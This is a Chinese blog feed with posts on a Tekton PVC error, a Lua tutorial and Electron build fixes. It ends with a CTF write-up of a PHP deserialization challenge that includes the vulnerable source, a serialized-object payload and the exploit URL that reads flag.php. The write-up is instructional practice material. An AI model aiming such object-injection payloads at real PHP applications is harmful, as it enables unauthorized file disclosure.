
apiVersion: tekton.dev/v1
kind: TaskRun
metadata:
  generateName: build-node-project-run-
  generation: 1
  namespace: cicd-services
spec:
  params:
  - name: dir
    value: frontend
  - name: imgTag
    value: 21.6.2
  - name: run
    value: build
  serviceAccountName: default
  taskRef:
    kind: Task
    name: build-node-project
  workspaces:
  - name: cache
    persistentVolumeClaim:
      claimName: node-cache-pvc
  - name: source
    persistentVolumeClaim:
      claimName: test-tekton-vue-pvc
  - name: output
    persistentVolumeClaim:
      claimName: test-tekton-vue-output-pvc

运行之后会出现下面报错

TaskRunValidationFailed [User error] more than one PersistentVolumeClaim is bound

原因

报错翻译TaskRunValidationFailed[用户错误]绑定了多个PersistentVolumeClaim,很明确他允许绑定多个pvc,这个蛮离谱的,cicd的过程中用到多个存储应该是很正常的事,tekton却默认不支持绑定多个pvc。

解决

修改tekton的配置把参数disable-affinity-assistant修改为true,即可

kubectl -n tekton-pipelines edit cm feature-flags

这个参数的作用如下

设置为 true 将阻止 Tekton 为共享了 workspace 的每个 TaskRun 创建 Affinity Assistant Pod。 这样就可以保证这些 pod 运行在同一个节点上,避免了跨节点访问 pvc 的问题。

还有就是这个功能在v0.60会被弃用,未来估计不会因为这个问题报这个错了。

参考

ISSUE: https://github.com/tektoncd/pipeline/issues/6543
TektonDocs: https://github.com/tektoncd/pipeline/blob/main/docs/affinityassistants.md
配置参考: https://www.soulchild.cn/post/tekton-operator%E9%85%8D%E7%BD%AE%E5%8F%82%E6%95%B0%E8%AF%A6%E8%A7%A3/

]]>
0 https://blog.boychai.xyz/index.php/archives/70/#comments https://blog.boychai.xyz/index.php/feed/
[Lua]快速入门 https://blog.boychai.xyz/index.php/archives/69/ https://blog.boychai.xyz/index.php/archives/69/ Wed, 17 Apr 2024 08:01:00 +0000 BoyChai Lua

概念

Lua是一种轻量、小巧的脚本语言,用标准的C语言编写并以源代码形式开发。设计目的是为了嵌入其他的程序中,从而为应用程序提供灵活的扩展和定制功能。

特性

和他语言相比,Lua有其自身的特点:
(1)轻量级

lua用标准C语言编写并以源代码形式开发,编译后仅仅一百余千字节,可以很方便的嵌入道其他程序中。

(2)可扩展

lua提供非常丰富易于使用的扩展接口和机制,由宿主语言(通常是C或C++)提供功能,lua可以使用它们,就像内置的功能一样。

(3)支持面向过程编程和函数式编程

应用场景

游戏开发、独立应用脚本、web应用脚本、扩展和数据库插件、系统安全上。

安装

官网: https://www.lua.org/

[root@work env]# wget https://www.lua.org/ftp/lua-5.4.6.tar.gz
[root@work env]# tar xvf lua-5.4.6.tar.gz 
[root@work lua-5.4.6]# make linux test
[root@work lua-5.4.6]# make install
cd src && mkdir -p /usr/local/bin /usr/local/include /usr/local/lib /usr/local/man/man1 /usr/local/share/lua/5.4 /usr/local/lib/lua/5.4
cd src && install -p -m 0755 lua luac /usr/local/bin
cd src && install -p -m 0644 lua.h luaconf.h lualib.h lauxlib.h lua.hpp /usr/local/include
cd src && install -p -m 0644 liblua.a /usr/local/lib
cd doc && install -p -m 0644 lua.1 luac.1 /usr/local/man/man1
[root@work lua-5.4.6]# lua -v
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio

语法

他的语法和C/C++语法非常相似,整体上比较清晰,简洁。条件语句、循环语句、函数调用都与C/C++基本一致。

交互式HelloWorld

[root@work env]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> print('hello world!!') 
hello world!!
> 

脚本式HelloWorld

第一种方式

[root@work ~]# mkdir lua_demo
[root@work ~]# cd lua_demo/
[root@work lua_demo]# vim hello.lua
[root@work lua_demo]# cat hello.lua 
print('hello world!!!')
[root@work lua_demo]# lua hello.lua 
hello world!!!

第二种方式

[root@work lua_demo]# vim hello.lua
[root@work lua_demo]# cat hello.lua 
#! /usr/local/bin/lua
print('hello world!!!')
[root@work lua_demo]# chmod +x hello.lua 
[root@work lua_demo]# ./hello.lua 
hello world!!!

注释

%% 单行注释 %%
-- print("111")
%% 多行注释 %%
--[[
    print("222")
--]]
%% 取消多行注释 %%
---[[
    print("222")
--]]

测试

[root@work lua_demo]# vim demo2.lua
[root@work lua_demo]# cat demo2.lua 
-- print("111")
--[[
    print("222")
--]]
---[[
    print("333")
--]]
[root@work lua_demo]# lua demo2.lua 
333

标识符

标识符就是变量名,Lua定义变量名以 一个字母A到Z或a到z或下划线_开头后加上0个或者多个字母,下划线,数字(0-9)。这块建议最好不要使用下划线加大写字母的标识符,因为Lua的保留字也是这样定义的,容易发生冲突。注意Lua是区分大小写字母的。

关键字

下面Lua的关键词,大家在定义常量、变量或其他用户定义标识符都要避免使用一下关键字

andbreakdoelse
elseifendfalsefor
functionifinlocal
nilnotorrepeat
returnthentrueuntil
whilegoto

一般约定,一以下划线开头连接一串大写字母的名字(比如_VERSION)被保留用于Lua内部全局变量。这个也是上面我们不建议这么定义标识符的原因

运算符

Lua中支持的运算符有算数运算符、关系运算符、逻辑运算符、其他运算符。

算数运算符

+ 加
- 减
* 乘
/ 除
% 取余
^ 乘幂
- 负号

关系运算符

== 等于
~= 不等于
> 大于
< 小于
>= 大于等于
<= 小于等于

逻辑运算符

and 与 同时true返回true 
or 或 一个true返回true
not 非 取反

其他运算符

.. 连接两个字符串
#  一元预算法,返回字符串或表的长度

例如

[root@work lua_demo]# lua 
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> 
> print('HELLO '..'WORLD') 
HELLO WORLD
> print(#'hello')         
5

全局变量&局部变量

在Lua语言中,全局变量无须声明即可使用。在默认情况下,变量总是认为是全局的,如果未提前赋值,默认为nil。如果想要声明一个局部变量需要使用local来声明。

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> b=10
> print(b)
10
> local a = 100
> print(a)
nil
> local a = 100; print(a)   
100
> 

数据类型

全部的类型

Lua有8个数据类型

nil(空,无效值)
boolean(布尔,true/false)
number(数值)
string(字符串)
function(函数)
table(表)
thread(线程)
userdata(数据用户)

可以使用type函数测试给定变量或者类型:

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> print(type(nil))
nil
> print(type("aaa"))
string
> 

nil

nil是一种只有一个nil值的类型,他的作用可以用来与其他所有值进行区分,也可以当想要移除一个变量时,只需要将该变量名赋值为nil,垃圾回收就会释放该变量所占用的内存。

boolean

boolean类型具有两个值,true和false。在Lua中,只会将false和nil视为假,其他都是真,特别是在条件检测中0和空字符串都会认为是真,这个和我们熟悉的大多语言不太一样。

number

在lua5.3开始,lua语言为数值格式提供了两种选择:integer(整型)和float(双精度浮点型)[和其他语言不太一样,floatu代表单精度类型],u不管是整形还是双精度浮点型,使用type()函数来取其类型,返回的都是number。还有就是他们之间是可以直接相互转换的。

string

Lua语言中的字符串可以标识单个字符,也可以标识一整本书籍。在Lua语言中,操作100k或者1M个字母组成的字符串的程序很常见。如果字符串数据很多可以这样写

a = [[
<html>
xxx
xxxx
xxx
</html>
]]

table

table是lua语言中最主要和强大的数据结构。使用表,Lua语言可以以一种简单、统一且高效的方式标识数组、合集、记录和其他很多数据结构。Lua语言中的表本质上是一种辅助数组。这种数组比Java中的数组更加灵活,可以使用数值做索引,也可以使用字符串或其他任意类型的值做索引(nil除外)

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> a = {}
> arr = {"TOM","JERRY","ROSE"}
> print(arr[0])  
nil
> print(arr[1])     
TOM
> print(arr[2]) 
JERRY
> print(arr[3]) 
ROSE
> arr={}
> arr["X"]=10
> arr["Y"]=20
> arr["Z"]=30
> print(arr["X"])
10
> print(arr["Y"])
20
> print(arr["Z"])
30
> arr.X
10
> arr.Y
20
> arr.Y
20
> arr={"TOM",X=10,"JERRY",Y=20,"ROSE",Z=30}
> arr[1]
TOM
> arr[2]
JERRY
> arr[3]
ROSE
> arr[4]
nil
> arr.X
10
> arr["X"]  
10
> arr.Z
30
> 

function

在Lua语言中,函数(Function)是对语句和表达式进行抽象的主要方式
定义函数:

function functionName(params)
    code
end

函数被调用的时候,传入的参数个数与定义函数时使用的参数个数不一致的时候,Lua会通过抛弃多余参数和将不足的参数设为nil的方式来调整数的个数。

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function f(a,b)
>> print(a,b)
>> end
> f()
nil    nil
> f(2)
2    nil
> f(2,6)
2    6
> f(2,6,8)
2    6

可变参数

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function add(...)
>> local a,b,c=...                   
>> print(a,b,c)
>> end
> add(1,2,3)
1    2    3
> add(1)  
1    nil    nil
> add(1,2,3,4,5,6)
1    2    3
> 

返回值

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function add(a,b)
>> return b,a
>> end
> x,y=add(100,200)
> print(y) 
100
> print(x)
200
> 

控制结构

Lua语言提供了一组精简且常用的控制结构,包括用于条件执行的if以及用户循环的while、repeat和for。所有的控制语法上都有一个显示的终结符:end用于中介if、for以及while结构,until用于中介repeat结构。

if语句

if语句先测试其条件,并根据条件是否满足执行响应的then部分或else部分。else部分是可选的。

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function testif(a)
>> if a>0 then
>> print("a是正数")
>> end
>> end
> testif(2)   
a是正数
> testif(1)
a是正数
> testif(-1)
> function testif(a)
>> if a>0 then
>> print("a是正数")
>> else
>> print("a是负数")
>> end
>> end
> testif(1) 
a是正数
> testif(-1)
a是负数
> 

嵌套IF相关案例如下

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function show(age)    
>> if age <= 18 then
>> return "qingshaonian" 
>> elseif age>18 and age <=45 then
>> return "qingnian"
>> elseif age>45 and age <=60 then
>> return "zhongnianren"
>> else
>> return "laonianren" 
>> end
>> end
> print(show(17))              
qingshaonian
> print(show(19))
qingnian
> print(show(56))
zhongnianren
> print(show(80))
laonianren

while循环

语法如下

while 条件 do
    循环体
end

案例

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function testwhile()
>> local i=1
>> while i<=10 do
>> print(i)
>> i=i+1
>> end
>> end
> testwhile()
1
2
3
4
5
6
7
8
9
10

repeat循环

repeat-until语句回重复执行其循环体直到条件为真时结束。由于条件测试在循环体之后执行,所以至少会循环执行一次。
语法如下

repeat
    循环体
until 条件

案例如下

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function testRepeat()
>> local i = 10
>> repeat
>> print(i)
>> i=i-1
>> until i < 1
>> end
> testRepeat()
10
9
8
7
6
5
4
3
2
1

for循环

数值型

语法如下

for param=exp1,exp2,exp3 do
    循环体
end

param的值从exp1变化到exp2之前的每次循环会执行循环体,并在每次循环结束的时候步长,和python的for差不多。
案例如下

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> for i = 1,100,10 do 
>> print(i)
>> end
1
11
21
31
41
51
61
71
81
91
泛型

泛型for循环是通过一个迭代器函数来遍历所有的值,类似于java中的foreach语句
语法

for i,v in ipairs(x) do
    循环体
end

i是数组索引,v是对应索引的数组元素值,ipairs是Lua提供的一个迭代器函数,用来迭代数组,x是要遍历的数组。只后pairs也是Lua提供的夜歌迭代函数,他和ipairs的区别是pairs可以迭代一些指定键的table。
案例如下

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> arr = {"TOME","JERRY","ROWS","LUCY"}
> for i,v in ipairs(arr) do
>> print(i,v)
>> end
1    TOME
2    JERRY
3    ROWS
4    LUCY
[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> arr = {"TOM","JERRY","ROSES",x="JACK","LUCY"}
> function testfor(arr)
>> for i,v in pairs(arr) do 
>> print(i,v)
>> end
>> end
> testfor(arr)
1    TOM
2    JERRY
3    ROSES
4    LUCY
x    JACK
]]>
0 https://blog.boychai.xyz/index.php/archives/69/#comments https://blog.boychai.xyz/index.php/feed/
[排错笔记]Vue3+Electron构建报错 https://blog.boychai.xyz/index.php/archives/68/ https://blog.boychai.xyz/index.php/archives/68/ Mon, 19 Feb 2024 15:25:00 +0000 BoyChai 使用环境
"Node":"21.6.2"
"@vue/cli-service": "~5.0.0",
"electron": "^13.0.0",

问题一

报错

background.js from Terser
Error: error:0308010C:digital envelope routines::unsupported
    at new Hash (node:internal/crypto/hash:68:19)
    at Object.createHash (node:crypto:138:10)
    at E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\webpack\node_modules\terser-webpack-plugin\dist\index.js:217:37
    at Array.forEach (<anonymous>)
    at TerserPlugin.optimizeFn (E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\webpack\node_modules\terser-webpack-plugin\dist\index.js:160:259)
    at _next0 (eval at create (E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:8:1)
    at eval (eval at create (E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:23:1)
    at processTicksAndRejections (node:internal/process/task_queues:95:5)

原因

用了高版本的node.js

解决

给NODE_OPTIONS添加环境变量--openssl-legacy-provider,低版本的不需要,默认忽略ssl验证

set NODE_OPTIONS=--openssl-legacy-provider

问题二

报错

Error output:
!include: could not find: "E:\前端\assist\node_modules\app-builder-lib\templates\nsis\include\StdUtils.nsh"
Error in script "<stdin>" on line 1 -- aborting creation process

    at ChildProcess.<anonymous> (E:\前端\assist\node_modules\builder-util\src\util.ts:250:14)
    at Object.onceWrapper (node:events:634:26)
    at ChildProcess.emit (node:events:519:28)
    at ChildProcess.cp.emit (E:\前端\assist\node_modules\builder-util\node_modules\cross-spawn\lib\enoent.js:34:29)
    at maybeClose (node:internal/child_process:1105:16)
    at Process.ChildProcess._handle.onexit (node:internal/child_process:305:5) {
  exitCode: 1,
  alreadyLogged: false,
  code: 'ERR_ELECTRON_BUILDER_CANNOT_EXECUTE'
}

原因

路径有中文路径

解决

切换项目目录给copy到个全英路径的位置

问题三

报错

打开页面全白

原因

路由模式用的history

解决

路由模式切换成hash模式

问题四

报错



<router-view>标签不生效

原因

不清楚为什么会这样 反正我这个版本打包后 electron不会进入”/“路径下 但是在本地访问的时候会

解决

在App.vue中直接push到/

import { useRouter } from "vue-router";

const router = useRouter();
router.push(`/`);

要注意的是router.back();路由跳转我这边也不生效了,需要都替换成push('/')

问题五

报错

 • cannot get, wait  error=Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
                      attempt=0
                      waitTime=2
  • cannot get, wait  error=Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
                      attempt=1
                      waitTime=4
  • cannot get, wait  error=Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
                      attempt=2
                      waitTime=6
  ⨯ Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.

win跨平台构建linux从service.electron.build下载资源失败,换代理也没用

原因

这个站点service.electron.build似乎在2020年就关闭,一直也没人来修这个玩意

解决

换linux主机构建或者采用docker的容器进行构建
ISSUES:https://github.com/electron-userland/electron-build-service/issues/9

]]>
0 https://blog.boychai.xyz/index.php/archives/68/#comments https://blog.boychai.xyz/index.php/feed/
[代码审计]网鼎杯_2020_青龙组_AreUSerialz https://blog.boychai.xyz/index.php/archives/67/ https://blog.boychai.xyz/index.php/archives/67/ Mon, 16 Oct 2023 02:16:00 +0000 BoyChai 题目

buuoj-网鼎杯_2020_青龙组_AreUSerialz

源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

分析

一看这个题目就是一道反序列的题目,上面定义了一个FileHandler类,之后定义了一个is_valid方法,这个方法的目的是过滤字符串,ord函数是转换ASCII码,32-125区间基本上就是所有字母数字和符号了,之后最后面这个是get获取一个str的值,之后检测是否是字符串,之后把字符串进行序列化。接下来详细看看FileHandler类:


class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}

分析了一下代码,output、read、write方法都需要通过process方法来触发,output代码如下

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

很简单没啥好说的,就是输出传入的内容。read方法代码如下,

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

是去调用file_get_contents方法来读取filename变量里的文件,之后返回读取的内容。再看看write方法

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

显示content不能大于100的长度,之后将content的内容写入filename,写入之后输出Successful!否则都是Failed!,再看看process方法

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

如果op=1则会进行写内容,如果等于2回去执行read()方法之后输出读取的内容,否则就输出"Bad Hacker!"。分析完基本的函数之后可以知道三个变量的作用

    protected $op;
    protected $filename;
    protected $content;

op是用来定义操作模式的,1是写2是读,filename是文件名称文件位置,content是写入时的内容。再看看两个魔法函数__construct()是构造函数__destruct()销毁函数,销毁的时候会触发。构造函数在这里没用主要看这个销毁函数,代码如下

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

也没啥东西,这里有个误导,就是里面的那个判断,他这个判断是三个等号的,会先判断类型,他这里判断的是字符串的2,之后content传入什么都无所谓了,剩下的就会交给process处理。

解题

分析完代码思路就清晰了,我们需要反序列化出一个FileHandler,内容op需要等于2,filename需要等于flag.php即可拿到falg。解题方式如下

<?php
class FileHandler
{
    public $op = 2;
    public $filename = "flag.php";
    public $content = "xd";
}
$a = new FileHandler();
$flag= serialize($a);
echo $flag;
/// output
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}

之后请求
http://7952a287-fef7-4773-9245-e58b63cba8f5.node4.buuoj.cn:81/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:2:%22xd%22;}
网页显示返回为空直接查看源代码拿到flag
?php $flag='flag{a0ad20b0-919b-479a-b2e8-78afe8be30cc};

补充

为什么不使用protected来序列化?
PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
作者:很菜的wl https://www.bilibili.com/read/cv18129820/ 出处:bilibili

]]>
0 https://blog.boychai.xyz/index.php/archives/67/#comments https://blog.boychai.xyz/index.php/feed/